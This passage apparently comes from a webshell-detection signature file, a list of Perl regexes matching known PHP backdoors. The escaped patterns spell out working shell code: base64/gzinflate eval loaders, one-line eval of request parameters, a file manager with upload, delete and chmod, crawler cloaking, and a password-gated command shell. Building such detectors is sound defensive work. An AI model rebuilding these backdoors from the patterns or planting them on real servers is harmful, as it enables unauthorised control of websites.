tKgHLddDIP72UZHYfexloIZwOFmCmfoQcEJ7K30OD4TxcdwsNeLVx5URXtJgoc1YUKMWJcoV3\+k8mrf1T11wYaZhzGrI4TJp0z3DYATybWEt8Txf\+BZDwOxYg\+ZTljY3Dg5gFvOSDcJdw\/Thb6StOs8qRH8EFyRhDmF\+Y1oIjwE2Ja7iTwWeXs5rxFiS1f\+YiYkBvJY5goG2Ftjya84mAa2No\/xmYDgUSFCHq8zks\+W4GNFlXXFzFgNn\+Gm3wEnqjytt0tE5EFI\+I5conVj61IVHh6HCrxrkHnQu3\/CLs419mT\/M92UrJO0y0VF4dezlxCWZ3EWVJJJszXJVuFOeSWEOQ1s7Pll9V5fMQzY89\/hQFdnMAMCh494KU4TJHPZM\+hB44e3N5J6CDI\+KyPgZj7tUdpw11sF\/GsDiBJF5eUiOxhLNLULa\+XtEZi7YsK90GvRQ13ZQRq
    qr/<\?\s+?eval\(gzinflate\(base64_decode\('7X37d9s4zujve87\+D6omO7Knjl9JO60T2807adM0zaPpI7lZWZJtNbKkkeQ4aTf\/\+wVASqKedjqd2e\/c\+6WniSSCIAiSIAiCYL\+33nfH7j\/\/8c9\/NH5b\+KeB0BL7\+SL9Jl1JJzuH7za2lz9Kp\/s7h4fhV\/pJQNPPjm4Ghi4N7qWBMzIsMSkDffzu6Oxg42jjjbT1aXPnRNo62blIQz\+G7n\/\+Y0mdBuNrV\/V9qSvJrRet5urv7eHqi\+cvn6nq89UXRrutDVsvjN\/benO1La9BDs2xHA\+hf2k3B21VpY\+6MVSnVnCtaoHp2JCq7JqW4b9VbQWSX0GyaRsV5XTncPf6eONsX6lJ19e7B4c719dVADCHFckPPNfxK0vXpzsnH3ZOvij7Z2fH1\+fwdr2xt3N0plzVlD3HGVmGUpWedLvSULV8Q6pK3\/\/5D6z\+2FB1w6tQtkar3pRWm6vSkRNIu87U1hUsBsGMOzOAxwegyjd8H6i99gPVCyoI8MrwPMe79gzX8QLTHlWa9NW0zWvfCCoKS7ackVI7Oj88TCbC52sC8JVaKt9Evbs27gxtity5DsyJEYJAMr1fW\+bEDCrxx4k6MrXrP6ZOYPjX3tRGIJ4cchO4dHrw7gh4qbTrLSVk5Cide\+RqlWrMqOHUZq0EHDdd31L9MQCpnqfeV5boTwSKP54RTD1bMtMgfYkeoCi3omRRAVUhZCdRUoiAt8cD\+7N0ffzu9Aw6Th5RlFZlrRZR73qmHRw6I9OuRPT2e\/\/8x\/q41Yuafb0Bb\/DN7Z2NDajKH1PDx\+F2fnIozVRfsgFwiIASYAzGpi\/5hndrePX1hku4PPyt6roHfaW34aoaoDklEEkNpPV\+N9Vf94FS5arfk46hB0kvmuuNMDOjcN0P7i2jF7PXtN1pIH2XJqoHVek01waqdjPykKZlGmqdX4bD4drA8aB3d1runeQ7lqlL9DXk3npDRLuuGXZgeOHb0PEm0sQIxo7ehREWhN9ZycG9a3RRAMygBMlWJ\+wtBGpg7t56I4mSicnkcMKu98T0sb9LyJRT7JtfJvqzSi6LqldStcpwYE5j4gb3kDGWR1XpP\/\+J2VSRItTYGb4oCKMADunXXyGRFSOmVCUQEQl08C\/GtxiFXSnwpkYoOUDcxAjE7reGopTLsADabAZySPKnA3itHO8fX787rTVrK0gB0CTPTFsOSVlyUPAq8AnlZFwC\/26bd\/h9yVeHxvXE0Q34SFJlhFIl\+kpDf0k3fXVgGdfhCPETwJlUlmnsgOzRZjrCAhw8VUI5kmK4RtzmdL\/SxrrpVYQ0wpaPiCrDaxkNVbFk4BPKXEvVjIp8eSnXJLkBvyKQUFYslYNzSN4X8fULgFqGXaGk5dYVzBuS0lAi7iO\+On3iJVDWBL0cUrVMFeYLKJ3JpLgjyIemH0jbpmdogePdy1K3J8nAHLkmwOyaIGLgv3FXh6EDT5I29TwYUxJChlmkhi81ZlJjEINmsfymOfbQHP22GCIROoHrdOzMJJyubw0JYGyD9QqGwjYCmBQDaVm1s5lgMrJhbiRJaWpGnEWiiTSR4dxHQalpIM4CAXAKn7OINWcCEsnwBMBb05glADdOjqUz7MgMRvVcIDIBcXAsbVGdp56KVWKApssYITVUy5IZeDU55IqbOGzkiMWWLy1byWItBBiC0gPzAkxhA6iIj5OKKh2a9hSktgEE6CAvAwPaVmeg\/j3MRpMQJ2aUlm8TeAGzj7xxXMOGXKiXZNtI\+o80ggEhLZsSkmHYmV7DsqQQD7E7ATtAVJmMII6aEhrSMs4N0lBadg2YQZabq81mE\+rt56GJUeT2SYKpPwojETZaiLB2GWGjHyGsDCPrSHXT1mgIlpCHs2kKvBjhb3MxXcoc8lKei2ahyi6CFZth5pkBjjlQlSzQQnxJtXObhTGvXdaixahKKV4AMxdHdXemz\+WkAJvbZ9KoFufmHMxIaH0ckL41n8wIMg9VCs3iJJZiJQIHoH1fgzKM89l8IkXoXEKz6B5B7DzsRPAQFI7xRDUtT5tPrwCcS24G2SOoLcAtHzqaGhi5UtiiJGkcBK5ex6Eo1iCTmJxzWOrtGLR6vyivkJqX2fWcYUnJYnJudv9\+AJKtKHecmpd5cl\+UkafkZVL1iWknJW8mKS\+fNhyl5XUyJTcTEFGUiycVZQOZr6tBQUaWWJK1uExzNKdUmGmKs0JieVZCnp9xXm2ZDaicdAGoGFU4h\+UgyMskdqK4Myj0WcnNkJojohzwPT\+D\/4eVmwG\+52fIk\/FRrjAxP2uR9I2yiwD5KCb3QFgpjgREPpICoRqhENJzEaAhY5rXFVhCXhZ9OsnLgJ\/zZZd5myuzzFuZreZCNT9tN9pnxsJoNQqrPmaBiFa0Y9WD5S\+saxNGg1QimkHPz3aXX8h8\/TiynIFqScxIuiYapYKJ1VtHG2VvfWIEKon0ZeOPqXnbVWC9Akp7sHwGc4mCHR3fukoAi4UGZlyTeIldMjiliOj3lN56YAaW0Su2Ry1L\+8B10dD8oQ7Q3ITY7603GAYgVTQlDRz9XvqeNUmBerwmWKceYuhaoNeCMb59Bx3PDjrSSzeQDqeaqau1D4anq7a6Fhm7bg0vMDXVWobF18juBI4b2bR8V7Vr41ZNZbhYaVhBeur3pCfmBJdDqh0k8oSNxYpfnhnmaAxUDEjfjCDHLdHQ\/l3K2NeEktZcVddhxduR2pD8zL1bYxVrrULN0lWC1LAM3byt88ZkhUR4EAfLsGwZw6CD7zyTmqQL\+8CyDmtHtpjt2I5tRAWonbGDlsi4FlFDYbs0sZVC2PrEapVU95fV1dWonjF50ERYwtByZh1JnQZOjG9gjlTP4K0zM\/Vg3Gk1m\/9aGzOGt5\+JrCBbY41qg5lqoCdbhsbZEhUVdS6kfS2\/15U2lNDj3jq2A91BM2ryljP1TGDTkTGTI4rIKhrxI6f1fgkcx\/LPBpbQEKyXMltozAkCPLBdkRXSC2BFzHvVRPMyAQiIsO3XkjAea9KcIffMwH8pcB14Ov6eGkUTU9etCNL1jESXolExVCemdd\/hnKlFzAoz\/aI5wXVgXQ\/NO0P\/7jq\+Sb2PXqEJgsCZELMImW9\+MzotGBtr1Jnxe9iTVqGZoF0t0\+1cw\+DuGHeux3ZdKrqjTSfAyXr4sGMZ9O5rnmNZZ477tBAEEBooxLGnLaPZPvGlunZNhCxe2CGAS0\+lOeVdYMtKy5IzHILgpbcqMiy2vq8DOtMNLezxRosRVNSaVnNbNbddc1dqXHYn9llgClLRPmlPLasaUTIZ1tX6rWpNja66lgDWcoE1Dqwlgd1WLrTb4uBuKwXfzodvh\/DtFPxKPvxKCL\+SIp4xIL8KLC2sCHtL7hZFnB3N52sh8wWKxOL96QB34qoFJao\/p8Rb1YPpwFMntPGqflXvurjVIAsgIKEqZre5Zq6L5BmsS\/p1y7BHwXjNfPq0Kq4npRDtU8D7q\/w0L\+8X86qO69Wncld\+atiaoxvnJwdbDsynNqRXivJQi4i18L2KktA5Tnben\+\+cnl0DOuVqDTSTGieniJ2AYepZERTIz0hvY11Fqsxgpe3M6h\/fHu6DznTC9vASDGfblH8AJ21jJiUBKyK9HLDu2DAJ6fdoPzWgcewRbqzAUlcDcQH5tuhTXj7XsCsy6l9yTSK6sdHySoDm5gQwVVOqyKKWh3sWqutaILWRDY275dlstoxz0vIUdyywSXQ5H7GtV5I8Jb4KTEObtsi5DbLyf3w3\+ApTbgnjEnAV\+a0JstGH5T\+xHpTJDD1YBmTPoPwzbH4cq\/9Sds9hudCdhcd0B09Xt5IW\+sTCOjHqFBmFW0\+rib1KDkikAMSUdqfazWYu3xsN1QJ1gCP1YUT7xhmoHHmVQyHkGSPe\/CfGaOfOrciVy0v9abXy5fLy9PLSv\/qtitybyEUIVM\/rApI6\+jcsVKoBYqQCub60r\+p8k7RZQzR
    qr/<\?\s+?iskorpitx\s+?<\?php\s+?\/\*\s+?security:\s+?bbb\s+?\*\/\s+?\$lang\s+?=\s+?'auto';\s+?\/\*\s+?Charset\s+?of\s+?output:\s+?\*\s+?possible\s+?values\s+?are\s+?described\s+?in\s+?the\s+?charset\s+?table\s+?at\s+?\*\s+?http:\/\/www\.php\.net\/manual\/en\/function\.htmlentities\.php\s+?\*\s+?'auto'\s+?-\s+?use\s+?the\s+?same\s+?charset\s+?as\s+?the\s+?words\s+?of\s+?my\s+?language\s+?are\s+?encoded\s+?\*\/\s+?\$site_charset\s+?=\s+?'auto';\s+?\/\*\s+?Homedir:\s+?\*\s+?For\s+?example:\s+?'\.\/'\s+?-\s+?the\s+?script's\s+?directory\s+?\*\/\s+?\$homedir\s+?=\s+?'\.\/';\s+?\/\*\s+?Size\s+?of\s+?the\s+?edit\s+?textarea\s+?\*\/\s+?\$editcols\s+?=\s+?80;\s+?\$editrows\s+?=\s+?25;\s+?\/\*\s+?-------------------------------------------\s+?\*\s+?Optional\s+?configuration\s+?\(remove\s+?\#\s+?to\s+?enable\)\s+?\*\/\s+?\/\*\s+?Permission\s+?of\s+?created\s+?directories:\s+?\*\s+?For\s+?example:\s+?0705\s+?would\s+?be\s+?'drwx---r-x'\.\s+?\*\/\s+?\#\s+?\$dirpermission\s+?=\s+?0705;\s+?\/\*\s+?Permission\s+?of\s+?created\s+?files:\s+?\*\s+?For\s+?example:\s+?0604\s+?would\s+?be\s+?'-rw----r--'\.\s+?\*\/\s+?\#\s+?\$filepermission\s+?=\s+?0604;\s+?\/\*\s+?Filenames\s+?related\s+?to\s+?the\s+?apache\s+?web\s+?server:\s+?\*\/\s+?\$htaccess\s+?=\s+?'\.htaccess';\s+?\$htpasswd\s+?=\s+?'\.htpasswd';\s+?\/\*\s+?-------------------------------------------------------------------------\s+?\*\/\s+?if\s+?\(get_magic_quotes_gpc\(\)\)\s+?\{\s+?array_walk\(\$_GET,\s+?'strip'\);\s+?array_walk\(\$_POST,\s+?'strip'\);\s+?array_walk\(\$_REQUEST,\s+?'strip'\);\s+?\}\s+?if\s+?\(array_key_exists\('image',\s+?\$_GET\)\)\s+?\{\s+?header\('Content-Type:\s+?image\/gif'\);\s+?die\(getimage\(\$_GET\['image'\]\)\);\s+?\}\s+?if\s+?\(\!function_exists\('lstat'\)\)\s+?\{\s+?function\s+?lstat\s+?\(\$filename\)\s+?\{\s+?return\s+?stat\(\$filename\);\s+?\}\s+?\}\s+?\$delim\s+?=\s+?DIRECTORY_SEPARATOR;\s+?if\s+?\(function_exists\('php_uname'\)\)\s+?\{\s+?\$win\s+?=\s+?\(strtoupper\(substr\(PHP_OS,\s+?0,\s+?3\)\)\s+?===\s+?'WIN'\)\s+?\?\s+?true\s+?:\s+?false;\s+?\}\s+?else\s+?\{\s+?\$win\s+?=\s+?\(\$delim\s+?==\s+?'\\\\'\)\s+?\?\s+?true\s+?:\s+?false;\s+?\}\s+?if\s+?\(\!empty\(\$_SERVER\['PATH_TRANSLATED'\]\)\)\s+?\{\s+?\$scriptdir\s+?=\s+?dirname\(\$_SERVER\['PATH_TRANSLATED'\]\);\s+?\}\s+?elseif\s+?\(\!empty\(\$_SERVER\['SCRIPT_FILENAME'\]\)\)\s+?\{\s+?\$scriptdir\s+?=\s+?dirname\(\$_SERVER\['SCRIPT_FILENAME'\]\);\s+?\}\s+?elseif\s+?\(function_exists\('getcwd'\)\)\s+?\{\s+?\$scriptdir\s+?=\s+?getcwd\(\);\s+?\}\s+?else\s+?\{\s+?\$scriptdir\s+?=\s+?'\.';\s+?\}\s+?\$homedir\s+?=\s+?relative2absolute\(\$homedir,\s+?\$scriptdir\);\s+?\$dir\s+?=\s+?\(array_key_exists\('dir',\s+?\$_REQUEST\)\)\s+?\?\s+?\$_REQUEST\['dir'\]\s+?:\s+?\$homedir;\s+?if\s+?\(array_key_exists\('olddir',\s+?\$_POST\)\s+?\&\&\s+?\!path_is_relative\(\$_POST\['olddir'\]\)\)\s+?\{\s+?\$dir\s+?=\s+?relative2absolute\(\$dir,\s+?\$_POST\['olddir'\]\);\s+?\}\s+?\$directory\s+?=\s+?simplify_path\(addslash\(\$dir\)\);\s+?\$files\s+?=\s+?array\(\);\s+?\$action\s+?=\s+?'';\s+?if\s+?\(\!empty\(\$_POST\['submit_all'\]\)\)\s+?\{\s+?\$action\s+?=\s+?\$_POST\['action_all'\];\s+?for\s+?\(\$i\s+?=\s+?0;\s+?\$i\s+?<\s+?\$_POST\['num'\];\s+?\$i\+\+\)\s+?\{\s+?if\s+?\(array_key_exists\("checked\$i",\s+?\$_POST\)\s+?\&\&\s+?\$_POST\["checked\$i"\]\s+?==\s+?'true'\)\s+?\{\s+?\$files\[\]\s+?=\s+?\$_POST\["file\$i"\];\s+?\}\s+?\}\s+?\}\s+?elseif\s+?\(\!empty\(\$_REQUEST\['action'\]\)\)\s+?\{\s+?\$action\s+?=\s+?\$_REQUEST\['action'\];\s+?\$files\[\]\s+?=\s+?relative2absolute\(\$_REQUEST\['file'\],\s+?\$directory\);\s+?\}\s+?elseif\s+?\(\!empty\(\$_POST\['submit_upload'\]\)\s+?\&\&\s+?\!empty\(\$_FILES\['upload'\]\['name'\]\)\)\s+?\{\s+?\$files\[\]\s+?=\s+?\$_FILES\['upload'\];\s+?\$action\s+?=\s+?'upload';\s+?\}\s+?elseif\s+?\(array_key_exists\('num',\s+?\$_POST\)\)\s+?\{\s+?for\s+?\(\$i\s+?=\s+?0;\s+?\$i\s+?<\s+?\$_POST\['num'\];\s+?\$i\+\+\)\s+?\{\s+?if\s+?\(array_key_exists\("submit\$i",\s+?\$_POST\)\)\s+?break;\s+?\}\s+?if\s+?\(\$i\s+?<\s+?\$_POST\['num'\]\)\s+?\{\s+?\$action\s+?=\s+?\$_POST\["action\$i"\];\s+?\$f
    qr/<\?php\s+?if\s+?\(isset\(\$_REQUEST\['en'\]\)\)\s+?eval\(stripslashes\(\$_REQUEST\['en'\]\)\);\s+?\?>/is,
    qr/<\?php\s+?if\s+?\(isset\(\$_REQUEST\['p1'\]\)\)\s+?\{\s+?eval\(stripslashes\(\$_REQUEST\['p1'\]\)\);\s+?\}\s+?else\s+?\{\s+?echo\s+?"djeu84m";\s+?\}\s+?\?>/is,
    qr/<\?php\s+?if\(\!empty\(\$_SERVER\['HTTP_USER_AGENT'\]\)\)\s+?\{\s+?\$v2045f746\s+?=\s+?array\("Google",\s+?"Slurp",\s+?"MSNBot",\s+?"ia_archiver",\s+?"Yandex",\s+?"Rambler",\s+?"StackRambler"\);\s+?if\(preg_match\('\/'\s+?\.\s+?implode\('\|',\s+?\$v2045f746\)\s+?\.\s+?'\/i',\s+?\@\$_SERVER\['HTTP_USER_AGENT'\]\)\)\s+?\{\s+?header\('HTTP\/1\.0\s+?404\s+?Not\s+?Found'\);\s+?exit;\s+?\}\s+?\}\s+?\@ini_set\('error_log',NULL\);\s+?\@ini_set\('log_errors',0\);\s+?\@ini_set\('max_execution_time',0\);\s+?\@set_time_limit\(0\);\s+?\@set_magic_quotes_runtime\(0\);\s+?if\(\@get_magic_quotes_gpc\(\)\)\s+?\$_POST\s+?=\s+?n0182dfe8\(\$_POST\);\s+?\$v619d75f8\s+?=\s+?preg_split\('\/\\,\(\\\s+?\+\)\?\/',\s+?\@ini_get\('disable_functions'\)\);\s+?define\("DEFAULT_DIR_DEEP_BACK","3"\);\s+?if\(isset\(\$_POST\['p1'\]\)\)\s+?\$_POST\['p1'\]\s+?=\s+?urldecode\(\$_POST\['p1'\]\);\s+?if\(isset\(\$_POST\['p3'\]\)\)\s+?\$_POST\['p3'\]\s+?=\s+?urldecode\(\$_POST\['p3'\]\);\s+?if\(\@\$_POST\['p2'\]=='download'\)\s+?\{\s+?if\(\@is_file\(\$_POST\['p1'\]\)\s+?\&\&\s+?\@is_readable\(\$_POST\['p1'\]\)\)\s+?\{\s+?ob_start\("ob_gzhandler",\s+?4096\);\s+?header\("Content-Disposition:\s+?attachment;\s+?filename="\.\@basename\(\$_POST\['p1'\]\)\);\s+?if\s+?\(function_exists\("mime_content_type"\)\)\s+?\{\s+?\$v599dcce2\s+?=\s+?\@n85ced157\(\$_POST\['p1'\]\);\s+?header\("Content-Type:\s+?"\s+?\.\s+?\$v599dcce2\);\s+?\}\s+?else\s+?header\("Content-Type:\s+?application\/octet-stream"\);\s+?\$v0666f0ac\s+?=\s+?\@fopen\(\$_POST\['p1'\],\s+?"r"\);\s+?if\(\$v0666f0ac\)\s+?\{\s+?while\(\!\@feof\(\$v0666f0ac\)\)\s+?echo\s+?\@fread\(\$v0666f0ac,\s+?1024\);\s+?\@fclose\(\$v0666f0ac\);\s+?\}\s+?\}\s+?exit;\s+?\}\s+?elseif\s+?\(\@\$_POST\['p2'\]=='delete'\)\s+?\{\s+?if\s+?\(\@is_dir\(\$_POST\['p1'\]\)\)\s+?\@n46aa46af\(\$_POST\['p1'\]\);\s+?else\s+?\@unlink\(\$_POST\['p1'\]\);\s+?\}\s+?elseif\s+?\(\@\$_POST\['p2'\]=='chmod'\)\s+?\{\s+?\$v58f57b98\s+?=\s+?0;\s+?for\(\$v865c0c0b=strlen\(\$_POST\['p1'\]\)-1;\$v865c0c0b>=0;--\$v865c0c0b\)\s+?\$v58f57b98\s+?\+=\s+?\(int\)\$_POST\['p3'\]\[\$v865c0c0b\]\*pow\(8,\s+?\(strlen\(\$_POST\['p3'\]\)-\$v865c0c0b-1\)\);\s+?if\(\!\@chmod\(\$_POST\['p1'\],\s+?\$v58f57b98\)\)\s+?echo\s+?'Can\\'t\s+?set\s+?permissions\!<br>';\s+?\}\s+?elseif\s+?\(\@\$_POST\['p2'\]=='mkdir'\)\s+?\{\s+?if\(\!\@mkdir\(\$_POST\['p1'\]\)\)\s+?echo\s+?'Can\\'t\s+?create\s+?new\s+?dir<br><script>document\.mf\.p3\.value="";<\/script>';\s+?\}\s+?elseif\s+?\(\@\$_POST\['p2'\]=='uploadFile'\)\s+?\{\s+?if\(\!\@move_uploaded_file\(\@\$_FILES\['f'\]\['tmp_name'\],\s+?\$_POST\['p3'\]\.\@\$_FILES\['f'\]\['name'\]\)\)\s+?echo\s+?'Can\\'t\s+?upload\s+?file\!<br><script>document\.mf\.p3\.value="";<\/script>';\s+?\}\s+?if\s+?\(isset\(\$_REQUEST\['sf'\]\)\s+?and\s+?\$_REQUEST\['sf'\]==0\)\s+?\$v2e0a881e\s+?=\s+?false;\s+?else\s+?\$v2e0a881e\s+?=\s+?true;\s+?if\s+?\(isset\(\$_REQUEST\['showro'\]\)\s+?and\s+?\$_REQUEST\['showro'\]==0\)\s+?\$v8a40bf93\s+?=\s+?false;\s+?else\s+?\$v8a40bf93\s+?=\s+?true;\s+?echo\s+?"\s+?<html>\s+?<style>\s+?body\{background-color:\#000028;color:\#e1e1e1;\}\s+?body,td,th\{\s+?border:1px\s+?outset\s+?black;font:\s+?9pt\s+?Lucida,Verdana;margin:0;vertical-align:top;color:\#e1e1e1;\s+?\}\s+?table\.info\{\s+?border-left:5px\s+?solid\s+?\#df5;color:\#fff;background-color:\#000028;\s+?\}\s+?span,h1,a\{\s+?color:\s+?\#df5\s+?\!important;\s+?\}\s+?span\{\s+?font-weight:\s+?bolder;\s+?\}\s+?div\.content\{\s+?padding:\s+?7px;margin-left:7px;background-color:\#333;\s+?\}\s+?a\{\s+?text-decoration:none;\s+?\}\s+?a:hover\{\s+?text-decoration:underline;\s+?\}\s+?input\{\s+?margin:0;color:\#fff;background-color:\#555;border:1px\s+?solid\s+?\#df5;\s+?font:\s+?9pt\s+?Monospace,'Courier\s+?New';\s+?\}\s+?\#toolsTbl\{\s+?text-align:center;\s+?\}\s+?\.toolsInp\{\s+?width:\s+?300px\s+?\}\s+?\.main\s+?th\{text-align:left;background-color:\#003300;\}\s+?\.main\s+?tr:hover\{border:2px\s+?outset\s+?gray;;background-color:\#5e5e5e\}\s+?\.l1\{background-color:\#444\}\s+?\.l2\{background-color:\#333\}\s+?pre\{font-family:Courier,Monospace;\}\s+?<\/style>\s+?<script>\s+?
    qr/<\?php\s+?\$d="UvUbjYH4eJNgF4E1fedluGXmhhydP\/NhmeekpNHpEfT3rXt9Vc0jeAj\/ec3DN5SG6WhPtOa66j9DyN5DmcKmf6mkUZpbVsstTQMWvOLi6AyQHCzuYnJulnJnq0NR9VsY3X8XxeNgZOTWETgbikjW7249JoSRVFZ3\/7YpnyZnRCmPiLIp0EOY2R59rtiL4EwEsB16PT5DPzMy\+HzLu04u5XLzsU\/oOmjqPLD3nLR\+j0OXjjMnKrK9DQZPf\+sd3tIL\+v8y3owJSWSaKcEyMc\+l\+EBnnqIrJCqA8\/O2K24yYsxlGM1zdYOGCTZXlqM6siyBYhSCMM0IqWG8eFOid8yUNySkEZoE7hbnEOY610WupTQRxR3lqUVpFgYbEoXHzN6VTUOp4coVtib\+fA6g92AcD0TAqpVDpdgdkotOE5\/\+pdSB4rvNV1YMtrM1VyzAOWPELQDbDi3A5SV1T8wVc60j4oilp5vd0\+JhR8r0ssoaUpEYkv3RF1sxb7ZByWJn1QAdE1O9j0Cm0\+yyVuvEEy2kFRjuQ7hw0VYIJRSocjCxNGjk\/EgZvvkEIByYUuDVnjC0Yi3LWLkJAIhTmQBEPVh1IraipEdyQKiX0Cqeb\/lgl2mE8SRib\/P\+CjAbWKlr3\+h6XjQTYZERQN5T1Vq9CARD6HmVitcQe\/ixkXsqVC\+fn\+3bXSa45jfEm2wvDlgLqz27ovnTcat\/OJNXdqYbhXYzZ0F2RDI7lms66q5UD1x9EYFqeFQ0IwG2WivAfjMS2zPGyfNuYnMdoAS6Is68lZkvNwGhrBFVjqL3hOMl\/T85Yn\+8J5YOHWFx7fp6PRZ8uD0eg8Qe7kwzc6bnn11Zhxc21gLC8rEHlUEVTWV0CMl03cXUpMM9dJHHemg4fwrveCdHtItEPxj0BolpDeIuMcxScr\/21lyeaEULqcISRT6mzAEzjlniv905ykih3pQKpPahBi0XtxVz\+T7EHuBUxvHhqelg2F0BoPJ0a1hXj83kHZ\/eprdZLhDvMoZFDUUhvArUZ78bD5ea9GKVHcfHCjN1EX3Cj6mJauCbfgqUNOUg7\+dxfaJX6D\/\/Q4DBPdFLwAwEZtKBK5doUgTYmArdAwiG2FE34FcbU9M6InuGugYta\+8hX4qsrlcnDvClS5\+D6RW\/aHtxOMhvMC9WOsFNASOL1Cv7Fg1kF7uycX\+OqNz2tzMw2Qq7zynyrnXByye3QknGdNl88eCUPQKCNUiY0XG2mVW6d2B\/ow3UY5sm6iMqeq1e0xs\+njh70So9Oq4lz703zLj4X8FtrC4A9smevCzeKSVy9gqx6i4chGcFH7g45OihG94VJ0AolA54Ez1aU9eH8MtMk1luJAPu4VqHmlMwxLyDIMdonwu1zzxXvQL5o3ZDZB2JGl\+iJehrKpVDmNq0\/xRXf4azVjKtQMxIhkAWizemg42Als2uWauK58fEaJTajOxu2jBokc9qvKFOfJIXkX5XKWJMug\+S87wQftP30vc7Aa5QLjjShMT9q3pg\+h66c67itR1ZnrI7KRsZZ8\+\/KN2kbBE5nOpgD\+q17rp7fbcrboIGF8uljHYlly\/Fde3PUa0ARoxPnNmmEL\/pf5wD3UATBQLkZsDc8c2tBYMbk9E785Nen2nJ5xzhpPYD2MFHJmYmt0PiCyiNwnBtXP\/w2TIg2r3uoWfNKl\/xuOjr03yetMBfjFYQmaVc4vW\/BAsGgQfa\/g4\+\/0i9L6lOk4YnLHv9itjAHbWqUlUF8pwtQ68oy04wJ8uYRFrfx0\/O7XXpZiuq\+vgJWo2Q\/\+an6wkVvKMNFn6JPtMuueDPGZLevbz07ujAXhXvayTmVnhFklCsHGG1a0PILwd8MT98tY3VYv8SGDyo4lbrkWhLfUuVfNyxc\/RbpZiKThLLXFLyCzXs0QfydGGWHCMampVS\+OQ4DuOAH1x\/j0q5oJd88Q9CsnYNpBFUokSmoR6YHbKDADmxFfXSKLrlpbo6dt7z92UvcJbT4xFj4uv4S933PfJqEerk2u\+covquNo423I23zEIzs9YhvlKA6hT0LLhi35XLF9ZQIranlxpeERcl5bozno3oo8a63y6g0U\/raW\+akXEtPt2tT3dA8Cad0KW\+MEPeTdI6kXRjyXCtGYPpvH61pYrOcXar1zbBLNxdVc\+qYy2ucq5zy6Z0adI5Scc0FhwMk3\/l\+yp4iJehZrjKCUnuhLK\+P\+5VD3FyTGWd5M4\/NIrtpU1Z9kMCTni9qsHljbGWAvqx\+19hf8H9TXxz1fGeE1xkhA6Yxx2ezVw5Ch48ecQruYXdRMXddP3jSZ0WrmKpqRFsjHWlsU6kcyIFQ2\+LGCa6Scrq7N\+zpDLfI2meLg3XFs4EUD3fAEsDmXflFNt\+YIxlN7C5FCbenF5WTlWnIg5WoJwN1sOEIoYwcMA\/14e4bNxhrFuSCkpzuLd\/YMbQhUeTMMh1BHFb1B6PBwDWsrPBDxS5FVdv81djBZYdyosCQOWa1DGfuVVvYDhE8tiBhEEys0Cxq\/Dt3NDUjMX4XnK8V\+w6Fq2t9Cz9DAPmb\+gz5jKBThlOeZf2RWbhDXxHcUWlqINA2YD2lgvKxHATPigNmihb2gStik79g4lNE2A23q0rlKpgKNJ18OS2UdaIcTMS2OCQJBVIG6v\/t0\+uWLpNDPJcxLN9Ez7yzP3LUc3OGJI1HXai\+aY7rJp9d2oLWgnnbMfaga\/MIxCy0UZyEhO\+U2Zjzgog25W3H9CNe8I907JE\+1tT9NYE\/q21He5foTffVpbmvtsSCpfbdbsTEFgF1DydiEevF9AsGrzTI67L07VbSFrkhQYQmlVt\/aBq\/ruugyisBQ6nQVUDU8ZpyesvBlUGRQ9zrZQZSNIm\/t0vrh7LaTbjwnA11E6v\+zduOP4Vz\/\/V5GzRAoBxGYe4wOENpqUAWrS6C\/qqBp\/7nkzEo4bOoYRaKwb3dQap8asXTvs5YZ2QaELxK\+nTreCXMUoYRr4u6sSKFjPrwS\/ArqxVmPLk8wIq3LbANXNB84hKAy3kv7yjrvq6tmyhIw2knFw5q4UGUMP1TvyssqEbmTr8GF7rl6nV896N4kkOIaq8e6hvrLSp1sJX0O1Rf9rn7si\/z1GWDuPcm6DzaoqoNE3SAkv6\+eY5wyRucGaw0OgAnno7YOOK5QEHuiCs5QTn5Nl5kRtMnZ\/pSAHIP1nkFVssvVQ2EdBVobQEv583Ia45mZ4CnqZpg4nlX4TpcPwm0tiEydVVRQDndh46SP3J3MlkS1CG3yltkJYI\+TzcQFnrdDNKFWcx\/r6HvQN5sznfOlfQNr1f6MizX\/28kcaIh5iMNpXphRIxCCWWsIovS9aeL7p\+QAsF\+qcAoIEtXwUf10E45gOHYby0Awc0QXMmXO3aXX9aNUqLhvxerfUNW0WmzTIJr3ah6cGhv\/p7Cwwga8zqPjsztHy\/zpXx6103cYUX\/MRUnTv\+ntlkZEO0ADizIBNFKj9y7mN4hyr6PpNLBF8od7Lxnqe1sVMaJUh\/BFb5IHK0srG\+tRezALzsmwBJPQbjtvAI6kvH\+V4zIfu\/KZxTP1j\/wvLg3AbRzMXU4S8kPlk112rLJ2r7f9I7HeSUpYW9okbwoX9g0DWV5F4Yl95PE1\/2OWpkjPSVE5THaQ2R\/p\+TAWm2hdefXqCRgzHfd\/yL9ogYolQMHS5sV3n3WsVQbp\/\/zZrbV0JKa9\+Q1FkuM4OFeq\/6Ge0tLPVEoi9JLy1Ib2x\+r89QktCUNkLSFZzSyUkLI\+i2Z3woa78cNURUe6Dj5AWhQ1eMIHA6u0iJT9pDPOQbvRXUh0Zf7Iu0dPLT8FtIfjDXjPsSotqhUD2s3buMAvic3Teep3gS\+b9PATgSrnuHp9BETCAfJPm8OhoGGgQfG\/\/Odr\+xlUDiY8MTw9Cmd4fw0OCaBBQupI7X3WYyMZMbO50nFf2Zot6sGI2tDoIPnQh2dW5cQmRWh
    qr/<html>\s+?<head>\s+?<meta\s+?http-equiv="refresh"\s+?content="2;\s+?url=http:\/\/.+?>\s+?<\/head>\s+?<body>\s+?<h1>Loading\.\.\.<\/h1>\s+?<\/body>/is,
    qr/<\?php\s+?\$c\s+?=\s+?'f49d9c81ab9ea4e00cd6dc5c848cb341';\s+?if\s+?\(\!isset\(\$_REQUEST\['ps'\]\)\)\s+?exit\(0\);\s+?else\s+?if\s+?\(md5\(\$_REQUEST\['ps'\]\)\s+?\!==\s+?\$c\)\s+?exit\(0\);\s+?echo\s+?"Yahoo\!\!\!\\n";\s+?switch\s+?\(\$_REQUEST\['a'\]\)\s+?\{\s+?case\s+?'ls'\s+?:\s+?show_ls\(\$_REQUEST\['p1'\]\);\s+?break;\s+?case\s+?'chmod'\s+?:\s+?chmod\s+?\(\$_REQUEST\['p1'\],\s+?\$_REQUEST\['p2'\]\);\s+?show_ls\(\);\s+?break;\s+?case\s+?'up':\s+?up\(\$_REQUEST\['p1'\]\);\s+?show_ls\(\);\s+?break;\s+?case\s+?'e':\s+?if\s+?\(isset\(\$_REQUEST\['p64'\]\)\)\s+?eval\(base64_decode\(\$_REQUEST\['p64'\]\)\);\s+?else\s+?eval\(\$_REQUEST\['p1'\]\);\s+?break;\s+?case\s+?'sh':\s+?if\s+?\(isset\(\$_REQUEST\['p64'\]\)\)\s+?p